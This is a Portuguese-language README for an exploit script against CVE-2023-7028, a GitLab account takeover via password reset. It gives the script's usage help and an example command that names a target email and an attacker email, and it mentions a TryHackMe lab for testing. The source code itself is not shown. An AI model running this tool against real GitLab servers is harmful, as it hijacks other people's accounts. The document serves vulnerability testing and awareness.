CVE-2023-7028

⚠️ Este exploit tem finalidade defensiva e deve ser utilizado por profissionais de cibersegurança para identificar possíveis servidores GitLab vulneráveis.

Descrição

CVE-2023-7028 - Assunção de Conta via Redefinição de Senha sem interação do usuário no GitLab Community Edition e Enterprise Edition

Produtos e versões afetados:

• CVSS: 10.0
• Explorado ativamente: SIM
• Correção: SIM
• Mitigação: NÃO

Ajuda

usage: CVE-2023-7028.py [-h] -u URL -t TARGET -a ATTACKER

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     GitLab URL (HTTP or HTTPS)
  -t TARGET, --target TARGET
                        Target email address
  -a ATTACKER, --attacker ATTACKER
                        Attacker email address

Exemplo: python CVE-2023-7028.py -u https://gitlab.example.com -t [email protected] -a [email protected]

Laboratório

Você pode usar a Sala do Try Hack Me GitLab CVE-2023-7028 para testar o exploit, pois ela executa uma versão vulnerável afetada pela CVE-2023-7028.

Visão dos servidores GitLab pela SHADOWSERVER:

Referências

• Comunicado de Segurança Crítico do GitLab: 16.7.2, 16.6.4, 16.5.6
• Mais de 5.300 servidores GitLab expostos a ataques de assunção de conta zero-click
• Estatísticas do Shadowserver sobre GitLab
• CVE-2023-7028 - AttackerKB